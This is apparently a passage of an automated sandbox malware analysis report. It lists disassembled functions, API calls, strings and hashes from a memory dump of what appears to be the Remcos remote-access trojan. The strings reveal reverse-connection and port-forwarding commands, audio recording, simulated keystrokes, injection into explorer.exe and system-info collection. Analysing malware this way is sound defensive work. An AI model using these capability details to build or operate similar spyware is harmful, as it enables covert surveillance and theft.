                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 004481C1
                                                        • _free.LIBCMT ref: 004481CC
                                                        • _free.LIBCMT ref: 004481D7
                                                        • _free.LIBCMT ref: 004481E2
                                                        • _free.LIBCMT ref: 004481ED
                                                        • _free.LIBCMT ref: 004481F8
                                                        • _free.LIBCMT ref: 00448203
                                                        • _free.LIBCMT ref: 0044820E
                                                        • _free.LIBCMT ref: 0044821C
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast
                                                        • String ID:
                                                        • API String ID: 776569668-0
                                                        • Opcode ID: 7409258e8d3de90c3944c0df00460aed843c684c15a9003062b0a9d40dd376ab
                                                        • Instruction ID: 68a5115f29dd4dda1e04096f5587add38bc33a27c3b2fba9646c6a67a64c999e
                                                        • Opcode Fuzzy Hash: 7409258e8d3de90c3944c0df00460aed843c684c15a9003062b0a9d40dd376ab
                                                        • Instruction Fuzzy Hash: AA11E9B6901108BFDB01FF55C852CDD3B65FF05354B0244AAF9488F222DB75DE509B95
                                                        Function 00411530 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Eventinet_ntoa
                                                        • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                                        • API String ID: 3578746661-3604713145
                                                        • Opcode ID: a7da0e03d27dfd4f061563b37853281ba9d59ca7803a508e71efe6cf15854c11
                                                        • Instruction ID: 5b49fc9f60f15aadef5e91219dcc0d557585a55aed20fbc46105045b647f8dc0
                                                        • Opcode Fuzzy Hash: a7da0e03d27dfd4f061563b37853281ba9d59ca7803a508e71efe6cf15854c11
                                                        • Instruction Fuzzy Hash: 5351D531A042015BC714FB36D95AAAE36A5AB84344F40453FFA06676F2EF7C8985C7CE
                                                        Function 00455F84 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0045707F), ref: 00455FA7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DecodePointer
                                                        • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                        • API String ID: 3527080286-3064271455
                                                        • Opcode ID: 91e2bc993b3a5d0be0d2963f4ae304432519259fdd54363bb3d88c255dc20ba7
                                                        • Instruction ID: a80f67f54703b8f0c72b4cfac69ffbb6288a0afb30985e2ab5cebdbe3ffe6fde
                                                        • Opcode Fuzzy Hash: 91e2bc993b3a5d0be0d2963f4ae304432519259fdd54363bb3d88c255dc20ba7
                                                        • Instruction Fuzzy Hash: BB515071900909DBCF10DF58E9481BDBBB0FF49306F924197D841A7396DB798928CB1E
                                                        Function 0044B43C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,PkGNG,0044BBB1,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B47E
                                                        • __fassign.LIBCMT ref: 0044B4F9
                                                        • __fassign.LIBCMT ref: 0044B514
                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B53A
                                                        • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BBB1,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BBB1,?), ref: 0044B559
                                                        • WriteFile.KERNEL32(?,?,00000001,0044BBB1,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BBB1,?), ref: 0044B592
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                        • String ID: PkGNG
                                                        • API String ID: 1324828854-263838557
                                                        • Opcode ID: 311db8d3e4a1a0a231de64f74e89b34bd80b314b172ec9a4a2cdea1eea97895d
                                                        • Instruction ID: 262f0c9efa3d8d05c94b564727faad167cb6e35c827a04fe4b8fb241bd644287
                                                        • Opcode Fuzzy Hash: 311db8d3e4a1a0a231de64f74e89b34bd80b314b172ec9a4a2cdea1eea97895d
                                                        • Instruction Fuzzy Hash: 2151B470A00249AFDB10CFA8D845AEEFBF8EF09304F14456BE955E7291E734D941CBA9
                                                        Function 004174D0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 00417530
                                                          • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C52F
                                                        • Sleep.KERNEL32(00000064), ref: 0041755C
                                                        • DeleteFileW.KERNEL32(00000000), ref: 00417590
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CreateDeleteExecuteShellSleep
                                                        • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                        • API String ID: 1462127192-2001430897
                                                        • Opcode ID: 0d67962283f2148fab1b3333e93946e14c4c28236009ab2eda98070440fecb3d
                                                        • Instruction ID: 6598d36db715e58345e35b35962d03aab6dacf30af49f41f33489dbeb2d48940
                                                        • Opcode Fuzzy Hash: 0d67962283f2148fab1b3333e93946e14c4c28236009ab2eda98070440fecb3d
                                                        • Instruction Fuzzy Hash: 17313F71940119AADB04FB61DC96DED7735AF50309F00017EF606731E2EF785A8ACA9C
                                                        Function 004073E7 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 00407418
                                                        • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407691,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe), ref: 004074D9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CurrentProcess
                                                        • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                                        • API String ID: 2050909247-4242073005
                                                        • Opcode ID: fabc3931959a25f7a31d3ecd74c529253d596e7bbbcd6e820e444b19b129e129
                                                        • Instruction ID: c8d37550e6f1e63eabf3c93e4c9511e0cbcdb01d3c289a22ccdf2b55afca88d7
                                                        • Opcode Fuzzy Hash: fabc3931959a25f7a31d3ecd74c529253d596e7bbbcd6e820e444b19b129e129
                                                        • Instruction Fuzzy Hash: DE317EB1A44300ABD314EF65DD46F1677B8BB04705F10087EF509A6692EBB8B8458B6F
                                                        Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _strftime.LIBCMT ref: 00401D50
                                                          • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                        • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000,?), ref: 00401E02
                                                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                        • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                                        • API String ID: 3809562944-243156785
                                                        • Opcode ID: 5ca57e464fc48cfd7ac60de242ae16507c8b77f4a1a81d17ad6b6b7cf7425d61
                                                        • Instruction ID: 12771182903f202c4b9d99511a6abf0f0559d076e6e3c56183b1657b5f9df8bc
                                                        • Opcode Fuzzy Hash: 5ca57e464fc48cfd7ac60de242ae16507c8b77f4a1a81d17ad6b6b7cf7425d61
                                                        • Instruction Fuzzy Hash: AA318F315043019FC324EB22DC56A9E77A8FB84315F40443EF189A21F2EFB89A49CB5E
                                                        Function 00410E9C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 00410EA9
                                                        • int.LIBCPMT ref: 00410EBC
                                                          • Part of subcall function 0040E0FC: std::_Lockit::_Lockit.LIBCPMT ref: 0040E10D
                                                          • Part of subcall function 0040E0FC: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E127
                                                        • std::_Facet_Register.LIBCPMT ref: 00410EFC
                                                        • std::_Lockit::~_Lockit.LIBCPMT ref: 00410F05
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 00410F23
                                                        • __Init_thread_footer.LIBCMT ref: 00410F64
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                        • String ID: ,kG$0kG
                                                        • API String ID: 3815856325-2015055088
                                                        • Opcode ID: 9b6f417909eb5cd4a3a9238d92eaca8e17f16862a4fd72c37d6a1f751429c824
                                                        • Instruction ID: 6b7561e6e5701aa818233467e21ea388c72e3112cb5a37ed7db11c94fdfc7bf8
                                                        • Opcode Fuzzy Hash: 9b6f417909eb5cd4a3a9238d92eaca8e17f16862a4fd72c37d6a1f751429c824
                                                        • Instruction Fuzzy Hash: 682129329005249BCB14FB6AD8429DE77A9DF48324F21416FF404E72D1DFB9AD818B9D
                                                        Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                                        • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000,00000024), ref: 00401C8F
                                                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                                        • waveInStart.WINMM ref: 00401CFE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                        • String ID: dMG$|MG$PG
                                                        • API String ID: 1356121797-532278878
                                                        • Opcode ID: eef3d83c920f1a8878cb9ae4af55a885980d63effcab8dea3858d63941c1ab5b
                                                        • Instruction ID: 1e392cdedf79dd274444ae0cc0b76d6cc185fd36309c60cea9b16e967c73269b
                                                        • Opcode Fuzzy Hash: eef3d83c920f1a8878cb9ae4af55a885980d63effcab8dea3858d63941c1ab5b
                                                        • Instruction Fuzzy Hash: 51212A71604201AFC7399F66EE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                                                        Function 0041D4EE Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D507
                                                          • Part of subcall function 0041D5A0: RegisterClassExA.USER32(00000030), ref: 0041D5EC
                                                          • Part of subcall function 0041D5A0: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D607
                                                          • Part of subcall function 0041D5A0: GetLastError.KERNEL32 ref: 0041D611
                                                        • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D53E
                                                        • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D558
                                                        • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D56E
                                                        • TranslateMessage.USER32(?), ref: 0041D57A
                                                        • DispatchMessageA.USER32(?), ref: 0041D584
                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041D591
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                        • String ID: Remcos
                                                        • API String ID: 1970332568-165870891
                                                        • Opcode ID: bb528cd859a2941ef755fedfca18549d942758f832e9eaa985f33bd327a59cbd
                                                        • Instruction ID: 0a96d410cd687733bc2db9baaca44b2a156926270a6f860d3af68fdb0bcdced8
                                                        • Opcode Fuzzy Hash: bb528cd859a2941ef755fedfca18549d942758f832e9eaa985f33bd327a59cbd
                                                        • Instruction Fuzzy Hash: CA0152B1840244EBD7109FA5EC4CFABBB7CEBC5705F00406AF515931A1D778D885CB58
                                                        Function 0044CE00 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 41332500f0008602d77d1c660e50033fd15bda36b9a02a1f3ccc300d02d52732
                                                        • Instruction ID: c312da418a410335279f0cc1971bad4557be7deeadefc114a47e367d78dfde09
                                                        • Opcode Fuzzy Hash: 41332500f0008602d77d1c660e50033fd15bda36b9a02a1f3ccc300d02d52732
                                                        • Instruction Fuzzy Hash: 94C1FA70D04249AFEF11DFA8CC41BAE7BB0AF09304F19415AE915A7392C77C9941CB69
                                                        Function 00453E03 Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,004540DC,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453EAF
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F32
                                                        • __alloca_probe_16.LIBCMT ref: 00453F6A
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,004540DC,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FC5
                                                        • __alloca_probe_16.LIBCMT ref: 00454014
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FDC
                                                          • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00454058
                                                        • __freea.LIBCMT ref: 00454083
                                                        • __freea.LIBCMT ref: 0045408F
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                        • String ID:
                                                        • API String ID: 201697637-0
                                                        • Opcode ID: 3cd8063f553076ce798424c5fc2191fe96cf15845bda9c8b0815eea935c1a584
                                                        • Instruction ID: 957693029e8655488503f3238c5b69ab87e72ad781d0cd1ca1c521277c14990f
                                                        • Opcode Fuzzy Hash: 3cd8063f553076ce798424c5fc2191fe96cf15845bda9c8b0815eea935c1a584
                                                        • Instruction Fuzzy Hash: 2B91D472E002069BDB208E65C846EEFBBF59F49756F14051BED00EB282D73DCD898769
                                                        Function 004451FA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • _memcmp.LIBVCRUNTIME ref: 004454A4
                                                        • _free.LIBCMT ref: 00445515
                                                        • _free.LIBCMT ref: 0044552E
                                                        • _free.LIBCMT ref: 00445560
                                                        • _free.LIBCMT ref: 00445569
                                                        • _free.LIBCMT ref: 00445575
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorLast$_abort_memcmp
                                                        • String ID: C
                                                        • API String ID: 1679612858-1037565863
                                                        • Opcode ID: 57e83dca3a851dc1354698b3345e0422ed2f7d5811d10dab12b85ea15fb2e044
                                                        • Instruction ID: c5fa7cd4a0def74fccfc383a36f0c71fd12082b8797d706f49daa7c6421ebafc
                                                        • Opcode Fuzzy Hash: 57e83dca3a851dc1354698b3345e0422ed2f7d5811d10dab12b85ea15fb2e044
                                                        • Instruction Fuzzy Hash: D4B13775A016199FEB24DF18C885BAEB7B4FF48304F5085EAE809A7351E774AE90CF44
                                                        Function 00414945 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: tcp$udp
                                                        • API String ID: 0-3725065008
                                                        • Opcode ID: e3882082d73cb51732241927fa811467e6376eb334e21639ae703d67e169e483
                                                        • Instruction ID: 4fb2fbaa1818e082f2863e0a7c91e4ace7fe62ed23b491eff3584b955907a2f3
                                                        • Opcode Fuzzy Hash: e3882082d73cb51732241927fa811467e6376eb334e21639ae703d67e169e483
                                                        • Instruction Fuzzy Hash: FC7197706083028FDB248F55D4817ABB7E4AFC8355F20482FF88697351E778DE858B9A
                                                        Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __Init_thread_footer.LIBCMT ref: 004018BE
                                                        • ExitThread.KERNEL32 ref: 004018F6
                                                        • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401A04
                                                          • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                        • String ID: PkG$XMG$NG$NG
                                                        • API String ID: 1649129571-3151166067
                                                        • Opcode ID: 49aca21aedc77406ad6ecb676b3e8f12959c6e3be557b7633b64e8435ff40de0
                                                        • Instruction ID: 94ec9d015e3317cd6a1a8c0f3f0e5257b1b149af30ff9c9aaa6ade548e88cebb
                                                        • Opcode Fuzzy Hash: 49aca21aedc77406ad6ecb676b3e8f12959c6e3be557b7633b64e8435ff40de0
                                                        • Instruction Fuzzy Hash: 7441D5312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D4AC71D
                                                        Function 0040799E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,00474EE0,00465FB4,?,00000000,00408037,00000000), ref: 00407A00
                                                        • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,00408037,00000000,?,?,0000000A,00000000), ref: 00407A48
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00408037,00000000,?,?,0000000A,00000000), ref: 00407A88
                                                        • MoveFileW.KERNEL32(00000000,00000000), ref: 00407AA5
                                                        • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AD0
                                                        • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AE0
                                                          • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                                          • Part of subcall function 00404B96: SetEvent.KERNEL32(?), ref: 00404BC3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                        • String ID: .part
                                                        • API String ID: 1303771098-3499674018
                                                        • Opcode ID: c438b6c3ad66c49b0c8fac277bcd0795076709a98bb5b529a829fc4e1ae4dc70
                                                        • Instruction ID: fa021c15c5d1e87e569c09a19ead990ccf19330fc060556597d24b4305e87d8f
                                                        • Opcode Fuzzy Hash: c438b6c3ad66c49b0c8fac277bcd0795076709a98bb5b529a829fc4e1ae4dc70
                                                        • Instruction Fuzzy Hash: 3A31B571508345AFC310EB61D84599FB3A8FF94359F00493FB945A21D2EB78EE08CB9A
                                                        Function 004199DB Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendInput.USER32 ref: 00419A25
                                                        • SendInput.USER32(00000001,?,0000001C,00000000), ref: 00419A4D
                                                        • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419A74
                                                        • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419A92
                                                        • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AB2
                                                        • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AD7
                                                        • SendInput.USER32(00000001,0000001C,0000001C), ref: 00419AF9
                                                        • SendInput.USER32(00000001,00000000,0000001C), ref: 00419B1C
                                                          • Part of subcall function 004199CE: MapVirtualKeyA.USER32(00000000,00000000), ref: 004199D4
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: InputSend$Virtual
                                                        • String ID:
                                                        • API String ID: 1167301434-0
                                                        • Opcode ID: fc4380392ba50379eb6d472fb1d17d58296046c22f58e77cb3b57b5de18c14a3
                                                        • Instruction ID: b6cba15de7ba168fc32b54cb564de1fb898aed6d56f2455a0f9f7e0387a20004
                                                        • Opcode Fuzzy Hash: fc4380392ba50379eb6d472fb1d17d58296046c22f58e77cb3b57b5de18c14a3
                                                        • Instruction Fuzzy Hash: 2431AE71218349A9E220DFA5DC41BDFBBECAF89B44F04080FF58457291CAA49D8C876B
                                                        Function 004475F1 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: __freea$__alloca_probe_16_free
                                                        • String ID: a/p$am/pm$h{D
                                                        • API String ID: 2936374016-2303565833
                                                        • Opcode ID: 4ddb7e6ff69264204235b909ea28f14837368a743d4617b198cabd7c05983ebc
                                                        • Instruction ID: c225e1f32c331ede1d29eb10815d0f52c76e58365e66366979e06629ded2ae5c
                                                        • Opcode Fuzzy Hash: 4ddb7e6ff69264204235b909ea28f14837368a743d4617b198cabd7c05983ebc
                                                        • Instruction Fuzzy Hash: 94D1E1719082068AFB299F68C845ABFB7B1EF05300F28455BE501AB351D73D9E43CBA9
                                                        Function 00444D7C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        • _free.LIBCMT ref: 00444E87
                                                        • _free.LIBCMT ref: 00444E9E
                                                        • _free.LIBCMT ref: 00444EBD
                                                        • _free.LIBCMT ref: 00444ED8
                                                        • _free.LIBCMT ref: 00444EEF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$AllocateHeap
                                                        • String ID: KED
                                                        • API String ID: 3033488037-2133951994
                                                        • Opcode ID: 4e35ff1e2d87e21165085a9225b40beb0941a1a7db736cbd5727a613c3eec6b7
                                                        • Instruction ID: 6eb5fd97c930506827bd935ec23fdf2bd7e2f8155051dcdfd38a61b70e77380a
                                                        • Opcode Fuzzy Hash: 4e35ff1e2d87e21165085a9225b40beb0941a1a7db736cbd5727a613c3eec6b7
                                                        • Instruction Fuzzy Hash: 2351B371A00604ABEB20DF29CC42B6B77F4FF89724B25456EE809D7751E739E901CB98
                                                        Function 00413A90 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                                        Download Yara Rule
                                                        APIs
